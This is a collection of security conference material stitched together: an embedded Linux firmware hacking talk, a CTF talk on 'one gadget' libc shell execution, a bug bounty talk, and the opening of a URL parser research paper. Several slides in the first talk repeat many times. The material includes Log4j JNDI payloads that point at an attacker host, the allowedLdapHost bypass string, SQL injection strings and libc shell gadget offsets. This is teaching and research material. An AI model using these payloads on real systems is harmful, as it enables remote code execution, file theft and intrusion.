Ethernet PHY up over USB”
Linux doesn’t care if they’re on-die or not, it’s all the same
bus.
Peripherals
Depends on what the hardware has: SPI, I2C, I2S, etc are
common sights.
Gonna see some weird shit
SDIO wireless cards
“sound cards” over I2S
GSM modems are really just pretending to be Hayes AT
modems.
Power management, LED management, cameras, etc.
“We need an Ethernet PHY” becomes “We hooked an
Ethernet PHY up over USB”
Linux doesn’t care if they’re on-die or not, it’s all the same
bus.
Peripherals
Depends on what the hardware has: SPI, I2C, I2S, etc are
common sights.
Gonna see some weird shit
SDIO wireless cards
“sound cards” over I2S
GSM modems are really just pretending to be Hayes AT
modems.
Power management, LED management, cameras, etc.
“We need an Ethernet PHY” becomes “We hooked an
Ethernet PHY up over USB”
Linux doesn’t care if they’re on-die or not, it’s all the same
bus.
Peripherals
Depends on what the hardware has: SPI, I2C, I2S, etc are
common sights.
Gonna see some weird shit
SDIO wireless cards
“sound cards” over I2S
GSM modems are really just pretending to be Hayes AT
modems.
Power management, LED management, cameras, etc.
“We need an Ethernet PHY” becomes “We hooked an
Ethernet PHY up over USB”
Linux doesn’t care if they’re on-die or not, it’s all the same
bus.
Not
GPIO!
GPIO
Bootloader
One Bootloader To Rule Them All: Das U-Boot
Uses a simple scripting language
Can pull from TFTP, HTTP, etc.
Might be over Telnet, Serial, BT UART, etc.
Some don’t use U-Boot, use Fastboot or other loaders
Android devices are a clusterfuck of options
Life and death of an SoC*
DFU
Check
• First chance to load fresh code onto device, use for bootstrapping and
recovery
IPL
• Does signature checking of early boot image
• Probably SoC vendor provided
Bootloader
• Early UART/network wakeup is likely here.
Load Kernel
into RAM
• Some devices are dumb and load multiple kernels until one fails or they run out
• U-Boot is really running a script here.
Start kernel
• Kernel has to wake up (or re-wake) devices it wants. It can’t make any guarantees.
Userland
• Home of the party.
• Where the fun attacks are
* Some restrictions apply
Life and death of an SoC*
DFU
Check
• First chance to load fresh code onto device, use for bootstrapping and
recovery
Early
Boot
• Does signature checking of early boot image
• Probably SoC vendor provided
U-Boot
• Early UART/network wakeup is likely here.
Load Kernel
into RAM
• Some devices are dumb and load multiple kernels until one fails or they run out
• U-Boot is really running a script here.
Start kernel
• Kernel has to wake up (or re-wake) devices it wants. It can’t make any guarantees.
Userland
• Home of the party.
• Where the fun attacks are
* Some restrictions apply
Root Filesystem: Home to
All
A root filesystem contains the bare minimum to boot Linux: Any
shared object libraries, binaries, or other content that is necessary for
what that device is going to do
Fluid content that needs to be changed or which is going to be fetched
regularly is often stored on a Ramdisk; this might be loaded during
init's early startup from a tarball.
This is a super common thing to miss because it's a tmpfs outside of
/tmp
this is a super common way of keeping / “small”
This often leads to rootfs extractions via tar that seem "too big“
There are sometimes multiple root filesystems overlaid upon each
other
Android uses this to some extent: /system is where many things
really are
Might be from NFS, might try NFS first, etc.
Attacking these
devices
Step 0: Scope out your
device
Get to know what makes the device
tick
Version of Linux
Rough software stack
Known vulnerabilities
Debug shells, backdoors, admin
shells, etc.
ARM executables are fairly generic
Kobo updates are very, VERY generic
and the Kobo userland is very aware
of this.
Hardware vendors are lazy: many
devices likely similar to kin-devices
Possibly able to find update for
similar device by same OEM
Don’t Reinvent The Wheel
Since so many embedded linux devices are similar, or run similarly
outdated software, you may well have some of your work cut out
for you
OWASP has a whole task set devoted to IoT security:
https://www.owasp.org/index.php/OWASP_Internet_of_Things_Pr
oject
Tools like Firmwalker (https://github.com/craigz28/firmwalker) and
Routersploit (https://github.com/threat9/routersploit) are already
built and ready. Sometimes, thinking like a skid can save time and
energy for other things, like beer!
Firmware Security blog is a great place to look, including a
roundup of stuff (https://firmwaresecurity.com/2018/06/03/list-of-
iot-embedded-os-firmware-tools/ )
Option 1: It’s a UNIX
system, I know this
If you can get a shell,
sometimes just beating
against your target can be fun
Limited to only what is on the
target (or what you can get to
the target)
Can feel a bit like going into
the wild with a bowie knife
and a jar full of your own piss
Debugger? Fuzzer? Compiler?
What are those?
Option 2: Black-Box it
Lots of fun once you’re
used to it or live service
attacks.
Safe: Never directly
exposes you to “secrets”
(IP)
You don’t have the bowie
knife, just two jars of piss.
These options suck
Option 3: Reverse it
Pull out IDA/Radare
Grab a beer
Learn you a new ISA
The way of reversing IoT
things that don’t run Linux!
… but how the fuck do you
get the binaries?
Yeah but I’m fucking
lazy, asshole.
I don’t want to learn
IDA. I want to fuzz.
Option 4: Emulate It
You have every tool at your
disposal
Hot damn is that a
debugger?
Oh shit waddup it’s fuzzy
boiii
Once again, how the fuck
do you get your binary of
choice?
Getting root(fs)
Easy Mode: Update
Packages
Updates for devices are the easiest way to extract a root filesystem
Sometimes little more than a filesystem/partition layout that
gets dd’d right to disk
Android updates are ZIPs containing some executables, a script,
and some filesystems
Newer android updates (small ones) are very regularly "delta"
updates: These touch a known filesystem directly, and are very
small but don't contain a full filesystem.
Sometimes, rarely, they're an *actual executable* that gets run on
the device
Probably isn't signed
Probably fetched over HTTP
Downside: They’re occasionally very hard to find or are
incremental, incomplete patches. Sometimes they’re encrypted.
Medium: In-Vivo
extraction
You need a shell
Can you hijack an administrative interface?
Some ping functions can be hijacked into shells
Sometimes it’s literally “telnet to the thing”
Refer to step 0 for more
You need some kind of packer (cpio, tar, etc)
Find is a builtin for most busybox implementations.
You need some way to put it somewhere (netcat, curl, etc)
You might have an HTTPD to fall back on
Need to do reconnaissance on your device
Might need some creativity
Wireshark, Ettercap, Fiddler, etc
Demo: Router firmware
extraction (Actiontec
Router)
What did we get?
Surprise Mode: Direct
Extraction
Could be as simple as “remove SD card, image it”
Surprise Mode: Direct
Extraction
Could be as simple as “remove SD card, image it”
Surprise Mode: Direct
Extraction
Could be as simple as “remove SD card, image it”
Surprise Mode: Direct
Extraction
Could be as simple as “remove SD card, image it”
eMMC is harder though, since you need to get to the
data lines, but it can be done!
You will need to understand how the disk is laid out
Binwalk can help later, as can “standard” DOS
partition tables.
Having some in-vivo information is helpful
Surprise Mode: Direct
Extraction
Could be as simple as “remove SD card, image it”
eMMC is harder though, since you need to get to the
data lines, but it can be done!
You will need to understand how the disk is laid out
Binwalk can help later, as can “standard” DOS
partition tables.
Having some in-vivo information is helpful
Surprise Mode: Direct
Extraction
Could be as simple as “remove SD card, image it”
eMMC is harder though, since you need to get to the
data lines, but it can be done!
You will need to understand how the disk is laid out
Binwalk can help later, as can “standard” DOS
partition tables.
Having some in-vivo information is helpful
Surprise Mode: Direct
Extraction
Could be as simple as “remove SD card, image it”
eMMC is harder though, since you need to get to the
data lines, but it can be done!
You will need to understand how the disk is laid out
Binwalk can help later, as can “standard” DOS
partition tables.
Having some in-vivo information is helpful
http://blog.oshpark.com/2017/02/23/retro-cpc-dongle/
Surprise Mode: Direct
Extraction
Could be as simple as “remove SD card, image it”
eMMC is harder though, since you need to get to the
data lines, but it can be done!
You will need to understand how the disk is laid out
Binwalk can help later, as can “standard” DOS
partition tables.
Having some in-vivo information is helpful
Surprise Mode: Direct
Extraction
Could be as simple as “remove SD card, image it”
eMMC is harder though, since you need to get to the data lines,
but it can be done!
You will need to understand how the disk is laid out
Binwalk can help later, as can “standard” DOS partition tables.
Having some in-vivo information is helpful
All Else Fails: Solder to the rescue
Might need to desolder some storage, or otherwise physically
attack the hardware
MTD devices are weird. Prepare to get your hands dirty
Interested in more? HHV and friends are the place to start
looking.
JTAG, etc. might be the hard way out.
Logic
Analyzers
Salae makes a good one
Cheap
Basic
Runs over USB
Hardware interfaces
https://www.crowdsupply.com/excamera/spidriver
http://dangerousprototypes.com/docs/Bus_Pirate
Now that we have that,
what do?
Try mounting it/extracting it/etc. `file` might give you a
good idea of what it thinks it might be, as will `strings`
and the like.
eMMCs sometimes have real partition tables
SD cards often do
Look at the reconnaissance you did
Boot logs: lots of good information about partitions
Fstab, /proc/mounts
Let automation do your
work
Binwalk!
Takes a rough guess at what might be in a place
Makes educated guesses about filesystems
High false positive rate
Photorec might be helpful
Get creative
Losetup and friends are capable of more than you give them
credit for.
There are a lot of filesystems that are read-only or create-and-
read, like cramfs and such. These are often spotted by binwalk
but are even sometimes seen as lzma or other compressed or
high-entropy data
If you’re only looking to play in IDA/Radare/etc, the bulk extraction
from binwalk might help.
QEMU: the
Quick
EMUlator
QEMU is a fast processor
emulator for a variety of
targets.
Targets you’ve never
heard of?
Mainframes
ARM, MIPS
PowerPC
OpenRISC
DEC Alpha
Lots of different ports and
targets have been ported.
Did
someone
say “OSX on
Amiga
hardware”?
Or Haiku
on BeOS?
Two ways to run QEMU
AS A FULL FAT VM
You preserve full control over the
whole process
You’ve got access to things like gdb at
a kernel level
Requires zero trust in the safety of the
binary
But you probably want a special
kernel and board setup, though there
are generic setups to get you started
Any tools are going to need to be
compiled for the target environment
I hate cross-compilers.
AS A TRANSLATING LOADER
You have access to all your existing
x86-64 tools (or whatever your native
tools are)
They’re not only native, but they’re
running full-speed.
You can run AFL like it’s meant to
Runs nicely in containers
You don’t even need a container!
Full-Fat VM: 9 tracks of
DOS
Binfmt: Linux’ way of
loading executables
Long ago, Linux added loadable loaders
Originally for the purposes of running JARs from the
command line like God and Sun Microsystems intended.
Turns out this is a great place to put emulators.
Debian ships with support for this in its binfmt-misc package.
QEMU can be shipped as a “static userspace” environment
(think WINE)
Uses “magic numbers” – signatures from a database – to
determine which ones are supposed to load what.
Fairly simple to add new kinds of binaries. You could actually
execute JPEGs if you really wanted to?
QEMU as loader
WITHOUT A CONTAINER
Dumb simple to set up:
qemu-whatever-static <binary>
With binfmt, just call your binary.
Must trust that the executable
is not malicious
Might depend on your local
environment looking like its
target environment
This works best for static,
monolithic executables
WITH A CONTAINER
Bring that whole root filesystem
along!
Run it in the confines of a jail,
Docker instance, even
something like Systemd
containers
Might need root depending on
your container (systemd)
Great for when your binary
loads its own special versions of
libraries that have weird things
added to them
QEMU user Demo
AFL setup
Oh boy. Let’s talk about AFL.
AFL needs to compiled with QEMU support
Magic sauce: CPU_TARGET=whatever
./build_qemu_support.sh
AFL needs to bring along the host’s libraries
Easiest bound with systemd-nspawn
Don’t do this in a VM
It hurts
AFL Demo
Wrapping up
What did we learn today?
Hardware vendors are lazy
Attacking hardware means getting creative
QEMU is pretty neato
AFL runs really slow when you’re emulating an X86
emulating an IBM mainframe.
Going forward:
I hope I’ve given you some idea of the landscape of
tools
Always remember rule 0
More Resources
Non-Linux targets:
RECON 2010 with Igor Skochinsky: Reverse Engineering for
PC Reversers:
http://hexblog.com/files/recon%202010%20Skochinsky.pdf
JTAG Explained: https://blog.senr.io/blog/jtag-explained
https://www.blackhat.com/presentations/bh-europe-
04/bh-eu-04-dehaas/bh-eu-04-dehaas.pdf
https://beckus.github.io/qemu_stm32/ (among others)
Linux targets:
eLinux.org – Fucking Gigantic wiki about embedded Linux.
linux-mips.org – Linux on MIPS
Thank you
Keep on hacking. | pdf |
1 . 1
One Gadget RCE
david942j @ HITCON CMT 2017
2 . 1
Before Start
2 . 2
Q:
1.
2.
3.
2 . 3
3 . 1
Who Am I
david942j
CTF
4 . 1
Introduction
4 . 2
Hacker
4 . 3
4 . 4
Binary Services (PE / ELF)
PE - Windows
ELF - Linux
Web Browser
OS Kernel (privilege escalation)
VM (VM escape)
CTF
4 . 5
Binary Exploitation in CTF
Binary
Control PC
Defeat ASLR
Remote Code Execution
4 . 6
Binary
Control PC
Defeat ASLR
Remote Code Execution
Control PC
Defeat ASLR
4 . 7
Defeat ASLR
Binary
Control PC
Defeat ASLR
Remote Code Execution
Defeat ASLR
4 . 8
ASLR
Linux kernel 2.6.12 (2005, June)
4 . 9
Defeat ASLR
Information leak
4 . 10
Control PC
Binary
Control PC
Defeat ASLR
Remote Code Execution
Control PC
4 . 11
Control PC
Program Counter
4 . 12
Control PC =
4 . 13
Remote Code Execution
Binary
Control PC
Defeat ASLR
Remote Code Execution
Remote Code Execution
4 . 14
DeASLR + Control PC = RCE
4 . 15
4 . 16
RCE = system("sh")
4 . 17
system("sh")
DeASLR:
system
:
system
"sh"
5 . 1
One Gadget
5 . 2
5 . 3
RCE
5 . 4
5 . 5
(1)
5 . 6
DeASLR
5 . 7
(2)
5 . 8
PC
5 . 9
(3)
5 . 10
5 . 11
5 . 12
execve("/bin/sh", argv, envp)
5 . 13
execve
5 . 14
execve
int execve(const char *file, char *const argv[], char *const envp[])
syscall
main(int argc, char **argv, char **envp){}
execve(file, argv, envp)
5 . 15
Example
ls -lh
#include <unistd.h>
int main() {
char *const argv[] = {"ls", "-lh", NULL};
char *const envp[] = {NULL};
execve("/bin/ls", argv, envp);
}
Demo
5 . 16
argv
envp
NULL
array of pointers
char *s[] = {ptr1, ptr2, ..., NULL}
execve(file, {NULL}, {NULL})
(?) -
NULL
execve(file, NULL, NULL)
5 . 17
argv
5 . 18
argv
argv=NULL
Demo
: /bin/sh
✓ execve("/bin/sh", NULL, NULL)
5 . 19
envp
5 . 20
envp
environ
✓ execve(.., NULL)
✓ execve(.., {NULL})
✓ execve(.., environ)
5 . 21
execve
5 . 22
system(cmd)
fork() +
execve("/bin/sh", ["sh","-c",cmd], environ)
5 . 23
source code of system
pid = __fork ();
(void) __execve (SHELL_PATH, (char *const *) new_argv, __environ);
if (pid == (pid_t) 0)
{
/* Child side. */
const char *new_argv[4];
new_argv[0] = SHELL_NAME;
new_argv[1] = "-c";
new_argv[2] = line;
new_argv[3] = NULL;
/* ...omitted... */
/* Exec the shell. */
_exit (127);
5 . 24
system
execve("/bin/sh", argv, environ)
5 . 25
argv
*argv
NULL
✓ execve("/bin/sh", NULL, environ)
✓ execve("/bin/sh", {NULL}, environ)
5 . 26
One Gadget
5 . 27
One Gadget
6 . 1
One Gadget
6 . 2
6 . 3
6 . 4
One Gadget
6 . 5
(1)
6 . 6
/bin/sh
6 . 7
&"/bin/sh": 0x18ac40
6 . 8
(2)
6 . 9
objdump
libc.so.6
18ac40
6 . 10
objdump -d libc.so.6|grep 18ac40 -A 7 -B 3
6 . 11
(3)
6 . 12
execve("/bin/sh", argv, environ)
6 . 13
One Gadget: 0x4557a
execve("/bin/sh", rsp+0x30, environ)
6 . 14
6 . 15
6 . 16
6 . 17
6 . 18
6 . 19
6 . 20
6 . 21
github: david942j/one_gadget
6 . 22
6 . 23
execve("/bin/sh", argv, envp)
6 . 24
One Gadget
argv
envp
array of pointers
argv == NULL || *argv == NULL
envp == NULL || *envp == NULL || envp == environ
6 . 25
6 . 26
Symbolic Execution
7 . 1
1
Symbolic Execution
7 . 2
7 . 3
7 . 4
7 . 5
7 . 6
7 . 7
7 . 8
x = input()
7 . 9
7 . 10
y = x*2
y = 2x
z = y*3-2
z = 6x-2
7 . 11
7 . 12
if z <= 10
constraint: 6x-2 <= 10
if y <= z
constraint: 2x <= 6x-2
7 . 13
x = input()
y = x * 2
z = y * 3 - 2
if z <= 10 and y <= z
return SUCCESS
else
return FAIL
6x-2 <= 10 && 2x <= 6x-2
0.5 <= x <= 2
SUCCESS
otherwise
FAIL
7 . 14
15
7 . 15
7 . 16
7 . 17
7 . 18
7 . 19
94 Symbolic Execution
8 . 1
Symbolic Execution and One Gadget
8 . 2
8 . 3
One Gadget
8 . 4
8 . 5
8 . 6
registers
8 . 7
call execve("/bin/sh", argv, envp)
8 . 8
One Gadget
argv / envp
8 . 9
8 . 10
ubuntu 16.04 32bit
3ac69: mov eax,DWORD PTR [esi-0xb8]
3ac6f: add esp,0xc
3ac72: mov DWORD PTR [esi+0x1620],0x0
3ac7c: mov DWORD PTR [esi+0x1624],0x0
3ac86: push DWORD PTR [eax] ; environ
3ac88: lea eax,[esp+0x2c]
3ac8c: push eax
3ac8d: lea eax,[esi-0x567d5] ; "/bin/sh"
3ac93: push eax
3ac94: call 0xb0670 <execve>
8 . 11
8 . 12
i386
calling convention
stack
esp
stack pointer
8 . 13
call func(A, B, C)
esp (stack
)
|
+-----------+-----------+-----------V------------------------
| C | B | A |
+-----------+-----------+-----------+------------------------
8 . 14
ubuntu 16.04 32bit
3ac69: mov eax,DWORD PTR [esi-0xb8]
3ac6f: add esp,0xc
3ac72: mov DWORD PTR [esi+0x1620],0x0
3ac7c: mov DWORD PTR [esi+0x1624],0x0
3ac86: push DWORD PTR [eax] ; environ
3ac88: lea eax,[esp+0x2c]
3ac8c: push eax
3ac8d: lea eax,[esi-0x567d5] ; "/bin/sh"
3ac93: push eax
3ac94: call 0xb0670 <execve>
esp
|
+-----------+-----------+-----------V------------------------
| | | |
+-----------+-----------+-----------+------------------------
8 . 15
esp += 0xc
3ac6f: add esp,0xc
3ac69: mov eax,DWORD PTR [esi-0xb8]
3ac72: mov DWORD PTR [esi+0x1620],0x0
3ac7c: mov DWORD PTR [esi+0x1624],0x0
3ac86: push DWORD PTR [eax] ; environ
3ac88: lea eax,[esp+0x2c]
3ac8c: push eax
3ac8d: lea eax,[esi-0x567d5] ; "/bin/sh"
3ac93: push eax
3ac94: call 0xb0670 <execve>
esp = esp + 0xc
esp esp
| |
V-----------+-----------+-----------V------------------------
| | | |
+-----------+-----------+-----------+------------------------
8 . 16
push environ
3ac86: push DWORD PTR [eax] ; environ
3ac69: mov eax,DWORD PTR [esi-0xb8]
3ac6f: add esp,0xc
3ac72: mov DWORD PTR [esi+0x1620],0x0
3ac7c: mov DWORD PTR [esi+0x1624],0x0
3ac88: lea eax,[esp+0x2c]
3ac8c: push eax
3ac8d: lea eax,[esi-0x567d5] ; "/bin/sh"
3ac93: push eax
3ac94: call 0xb0670 <execve>
esp = esp + 8
esp esp
| |
+-----------V-----------+-----------V------------------------
| environ | | |
+-----------+-----------+-----------+------------------------
8 . 17
eax = esp+0x2c
3ac88: lea eax,[esp+0x2c]
3ac69: mov eax,DWORD PTR [esi-0xb8]
3ac6f: add esp,0xc
3ac72: mov DWORD PTR [esi+0x1620],0x0
3ac7c: mov DWORD PTR [esi+0x1624],0x0
3ac86: push DWORD PTR [eax] ; environ
3ac8c: push eax
3ac8d: lea eax,[esi-0x567d5] ; "/bin/sh"
3ac93: push eax
3ac94: call 0xb0670 <execve>
eax = esp + 0x34
esp esp
| |
+-----------V-----------+-----------V------------------------
| environ | | |
+-----------+-----------+-----------+------------------------
8 . 18
push eax
3ac8c: push eax
3ac69: mov eax,DWORD PTR [esi-0xb8]
3ac6f: add esp,0xc
3ac72: mov DWORD PTR [esi+0x1620],0x0
3ac7c: mov DWORD PTR [esi+0x1624],0x0
3ac86: push DWORD PTR [eax] ; environ
3ac88: lea eax,[esp+0x2c]
3ac8d: lea eax,[esi-0x567d5] ; "/bin/sh"
3ac93: push eax
3ac94: call 0xb0670 <execve>
esp esp
| |
+-----------+-----------V-----------V------------------------
| environ | esp+0x34 | |
+-----------+-----------+-----------+------------------------
8 . 19
eax = &"/bin/sh"
3ac8d: lea eax,[esi-0x567d5] ; "/bin/sh"
3ac69: mov eax,DWORD PTR [esi-0xb8]
3ac6f: add esp,0xc
3ac72: mov DWORD PTR [esi+0x1620],0x0
3ac7c: mov DWORD PTR [esi+0x1624],0x0
3ac86: push DWORD PTR [eax] ; environ
3ac88: lea eax,[esp+0x2c]
3ac8c: push eax
3ac93: push eax
3ac94: call 0xb0670 <execve>
esp esp
| |
+-----------+-----------V-----------V------------------------
| environ | esp+0x34 | |
+-----------+-----------+-----------+------------------------
8 . 20
push eax
3ac93: push eax
3ac69: mov eax,DWORD PTR [esi-0xb8]
3ac6f: add esp,0xc
3ac72: mov DWORD PTR [esi+0x1620],0x0
3ac7c: mov DWORD PTR [esi+0x1624],0x0
3ac86: push DWORD PTR [eax] ; environ
3ac88: lea eax,[esp+0x2c]
3ac8c: push eax
3ac8d: lea eax,[esi-0x567d5] ; "/bin/sh"
3ac94: call 0xb0670 <execve>
esp
|
+-----------+-----------+-----------V------------------------
| environ | esp+0x34 | "/bin/sh" |
+-----------+-----------+-----------+------------------------
8 . 21
3ac94: call 0xb0670 <execve>
3ac69: mov eax,DWORD PTR [esi-0xb8]
3ac6f: add esp,0xc
3ac72: mov DWORD PTR [esi+0x1620],0x0
3ac7c: mov DWORD PTR [esi+0x1624],0x0
3ac86: push DWORD PTR [eax] ; environ
3ac88: lea eax,[esp+0x2c]
3ac8c: push eax
3ac8d: lea eax,[esi-0x567d5] ; "/bin/sh"
3ac93: push eax
execve("/bin/sh", esp+0x34, environ)
esp
|
+-----------+-----------+-----------V------------------------
| environ | esp+0x34 | "/bin/sh" |
+-----------+-----------+-----------+------------------------
8 . 22
8 . 23
8 . 24
✗ *(esp+0x34) == NULL && eax == NULL
✓ *(esp+0x34) == NULL && eax == NULL
8 . 25
8 . 26
✗ *(esp+0x34) == NULL && eax == NULL
✓ *(esp+0x34) == NULL
8 . 27
8 . 28
OneGadget
8 . 29
5~8
8 . 30
Demo with a CTF challenge
9 . 1
Conclusion
9 . 2
1.
2.
One Gadget
3. Symbolic Execution
4.
One Gadget
star
https://github.com/david942j/one_gadget
10
david942j @ | pdf |
Nir Valtman, CISSP
Blog: www.valtman.org
Twitter: @ValtmaNir
Bug Bounty Programs Evolution
2
I’m an architect
Zombies!!!
5
Defacement
6
AntiDef
OPEN SOURCE
Memory Scraper
Secure TDD
Research Bug Bounty
Programs Since 2011
Academy
Final Project
If you can’t beat them, join them!
Not cost-effective
Virtual
Environment
Bounty
Hunter
Safe Bug
Bounty
Program
Shay Fainberg
Ideas worth spreading
The Evolution
Bounty Hunters in Real Life
Terms & Conditions
Successful
Kill
$
Successful
Kill
Good
Reputation
Targets
Politicians
VIP
Men
Women
Kids
Animals
Hit men
st
“...REFINE BETA VERSIONS
AND ENSURE HIGHEST
QUALITY SOFTWARE”
Winners Awards
Success || Failure
Story?
Success
2004
Perspectives on Bug
Bounty Programs
Business
Bounty Hunter
Business
Start Your Own Online Program
Technology
Operations
Legal
Start Your Own Online Program
Technology
Operations
Legal
Handle heavy traffic
Start Your Own Online Program
Technology
Operations
Legal
Stronger IPS
Start Your Own Online Program
Technology
Operations
Legal
Stronger WAF
Start Your Own Online Program
Technology
Operations
Legal
Bugs Management
Incident Response
Start Your Own Online Program
Technology
Operations
Legal
Liability
Self-Owned
External
External
A-TEAM
External
Identity
Verification
External
External
Traffic
Shaping
Benefits
Concerns
Benefits
Payment Models
Real-World Hacking Scenario
Security Leader Positioning
Benefits
Concerns
Concerns
Production
Test
Sensitive
Data
Leakage
Denial
of
Service
Black Hats
Detection
Company’s
Perimeter
Non-security
Bugs
Handling
Side
Effects
Minimize
Exposure
Time
Perspectives on Bug
Bounty Programs
Business
Bounty Hunter
Bounty Hunter
Motivation
Frustration
Name: Oren Hafif
Source: www.orenh.com
Case Study
Actual Risk
Exposing all hosted email
addresses in Google
1st Response
DENIED!
2nd Response
$500 Reward
Next Generation Bug Bounty Programs
Minimize Production Risks
Minimize Production Risks
Allow Penetration
Tests
Prevent Malicious
Exploitation
Minimize Production Risks
web
service
web
site
mobile
app
WWW
4580…
1J8HK7B
Minimize Production Risks
Minimize Production Risks
Minimize Production Risks
Minimize Production Risks
web
service
web
site
mobile
app
WWW
OFF
ON
Minimize Production Risks
How to identify black hat hackers?
Legitimate SQL Injection
Malicious SQL Injection
DROP myTable;#
DR/**/OP/*bypassing filter*/myTable;#
‘ or ‘a’<‘b’;#
SELECT 0x457578
SELECT LOAD_FILE(0x633A5C626F6F742E696E69)
How To Ban Them?
Attract New Tester Types
Business
Analysts
Quality
Assurance
Developers
Attorneys
SME
A Long Journey In Front OF US
Nir Valtman, CISSP
Blog: www.valtman.org
Twitter: @ValtmaNir
Thank You | pdf |
EXPLOITING URL
PARSERS: THE GOOD,
BAD, AND INCONSISTENT
By Noam Moshe and Sharon Brizinov of Claroty Team82,
and Raul Onitza-Klugman and Kirill Efimov of Snyk
claroty.com
2
Copyright © 2021 Claroty Ltd. All rights reserved
03 Introduction
03 Recent Example: Log4j allowedLdapHost bypass
03 Findings
06 URLs and RFCs
06 What is a URL
07 URL Components
07 Scheme
07 Authority/Netloc
08 Path
09 Query
09 Fragment
10 Relative References
10 WHATWG URL Specifications
12 URL Parsing Inconsistencies
12 Scheme Confusion
14 Slashes Confusion
17 Backslashes Confusion
20 URL Encoded Data Confusion
22 Scheme Mixup
23 Summary
25 Exploiting URL Confusion Vulnerabilities
25 Clearance (Ruby)
25 CVE-2021-23435: Open Redirect Vulnerability
27 But isn’t the Browser the Real Culprit?
28 Belledonne’s Linphone SIP Stack
28 CVE-2021-33056: Denial of Service
31 Conclusion
31 Vulnerabilities
31 Our Recommendations
32 How to Validate a URL for Redirection
32 Try to use as few different parsers as possible
32 Transfer a Parsed URL Across Microservice Environment
32 Understand Differences in Parsers Involved with Application Business Logic
33 Always Canonicalize the URL Before Parsing
TABLE OF CONTENTS
claroty.com
3
Copyright © 2021 Claroty Ltd. All rights reserved
INTRODUCTION
The Uniform Resource Locator (URL) is integral to our lives online because we use it for surfing the web, accessing files,
and joining video chats. If you click on a URL or type it into a browser, you’re requesting a resource hosted somewhere
online. As a result, some devices such as our browsers, applications, and servers must receive our URL, parse it into its
uniform resource identifier (URI) components (e.g. hostname, path, etc.) and fetch the requested resource.
The syntax of URLs is complex, and although different libraries can parse them accurately, it is plausible for the same URL
to be parsed differently by different libraries. The confusion in URL parsing can cause unexpected behavior in the software
(e.g. web application), and could be exploited by threat actors to cause denial-of-service conditions, information leaks, or
possibly conduct remote code execution attacks.
In Team82's joint research with Snyk, we examined 16 URL parsing libraries, written in a variety of programming
languages, and noticed some inconsistencies with how each chooses to parse a given URL to its basic components. We
categorized the types of inconsistencies into five categories, and searched for problematic code flows in web applications
and open source libraries that exposed a number of vulnerabilities.
We learned that most of the eight vulnerabilities we found largely occurred for two reasons:
1. Multiple Parsers in Use: Whether by design or an oversight, developers sometimes use more than one URL parsing
library in projects. Because some libraries may parse the same URL differently, vulnerabilities could be introduced
into the code.
2. Specification Incompatibility: Different parsing libraries are written according to different RFCs or URL
specifications, which creates inconsistencies by design. This also leads to vulnerabilities because developers may
not be familiar with the differences between URL specifications and their implications (e.g. what should be checked
or sanitized).
Our research was partially based on previous work, including a presentation by Orange Tsai “A New Era of SSRF” and
a comparison of WHATWG vs. RFC 3986 by cURL creator, Daniel Stenberg. We would like to thank them for their
innovative research.
RECENT EXAMPLE: Log4j allowedLdapHost bypass
In order to fully understand how dangerous different URL parsing primitives can be, let’s take a look into a real-life
vulnerability that abused those differences. In December 2021, the world was taken by a storm by a remote code execution
vulnerability in the Log4j library, a popular Java logging library. Because of Log4j’s popularity, millions of servers and
applications were affected, forcing administrators to determine where Log4j may be in their environments and their
exposure to proof-of-concept attacks in the wild.
While we will not fully explain this vulnerability here, mainly because it was covered by a wide variety of people, the gist
of the vulnerability originates in a malicious attacker-controlled string being evaluated whenever it is being logged by an
application, resulting in a JNDI (Java Naming and Directory Interface) lookup that connects to an attacker-specified server
and loads malicious Java code.
claroty.com
4
Copyright © 2021 Claroty Ltd. All rights reserved
A payload triggering this vulnerability could look like this:
${jndi:ldap://attacker.com:1389/a}
This payload would result in a remote class being loaded to the current Java context if this string would be logged by a
vulnerable application.
Team82 preauth RCE against VMware vCenter ESXi Server, exploiting the log4j vulnerability.
Because of the popularity of this library, and the vast number of servers which this vulnerability affected, many patches and
countermeasures were introduced in order to remedy it. We will talk about one countermeasure in particular,
which aimed to block any attempts to load classes from a remote source using JNDI.
This particular remedy was made inside the lookup process of the JNDI interface. Instead of allowing JNDI lookups from
arbitrary remote sources, which could result in remote code execution, JNDI would allow only lookups from a set of
predefined whitelisted hosts, allowedLdapHost, which by default contained only localhost. This would mean that
even if an attacker-supplied input is evaluated, and a JNDI lookup is made, the lookup process will fail if the given host is not in
the whitelisted set. An attacker-hosted class would not be loaded and the vulnerability is rendered moot.
However, soon after this fix, a bypass to this mitigation was found (CVE-2021-45046), which once again allowed
remote JNDI lookup and allowed the vulnerability to be exploited in order to achieve RCE. Let’s analyze the bypass,
which is as follows:
${jndi:ldap://127.0.0.1#.evilhost.com:1389/a}
and Directory Interface) lookup that connects to an attacker-specified server and loads
malicious Java code.
A payload triggering this vulnerability could look like this:
${jndi:ldap://attacker.com:1389/a}
This payload would result in a remote class being loaded to the current Java context if this string
would be logged by a vulnerable application.
Team82 preauth RCE against VMware vCenter ESXi Server, exploiting the log4j vulnerability
Because of the popularity of this library, and the vast number of servers which this vulnerability
affected, many patches and countermeasures were introduced in order to remedy this
vulnerability. We will talk about one countermeasure in particular, which aimed to block any
attempts to load classes from a remote source using JNDI.
This particular remedy was made inside the lookup process of the JNDI interface. Instead of
allowing JNDI lookups from arbitrary remote sources, which could result in remote code
execution, JNDI would allow only lookups from a set of predefined whitelisted hosts,
allowedLdapHost, which by default contained only localhost. This would mean that even if
an attacker-given input is evaluated, and a JNDI lookup is made, the lookup process will fail if
the given host is not in the whitelisted set. An attacker-hosted class would not be loaded and the
vulnerability is rendered moot.
claroty.com
5
Copyright © 2021 Claroty Ltd. All rights reserved
As we can see, this payload once again contains a URL, however the Authority component (host) of the URL seems
irregular, containing two different hosts: 127.0.0.1 and evilhost.com. As it turns out, this is exactly where the bypass
lies. This bypass stems from the fact that two different (!) URL parsers were used inside the JNDI lookup process, one parser
for validating the URL, and another for fetching it, and depending on how each parser treats the Fragment portion (#) of
the URL, the Authority changes too.
In order to validate that the URL’s host is allowed, Java’s URI class was used, which parsed the URL, extracted the URL’s
host, and checked if the host is inside the whitelisted set of allowed hosts. And indeed, if we parse this URL using Java’s
URI, we find out that the URL’s host is 127.0.0.1, which is included in the whitelist. However, on certain operating
systems (mainly macOS) and specific configurations, when the JNDI lookup process fetches this URL, it does not try
to fetch it from 127.0.0.1, instead it makes a request to 127.0.0.1#.evilhost.com. This means that while this
malicious payload will bypass the allowedLdapHost localhost validation (which is done by the URI parser), it will
still try to fetch a class from a remote location.
This bypass showcases how minor discrepancies between URL parsers could create huge security concerns and
real-life vulnerabilities.
FINDINGS
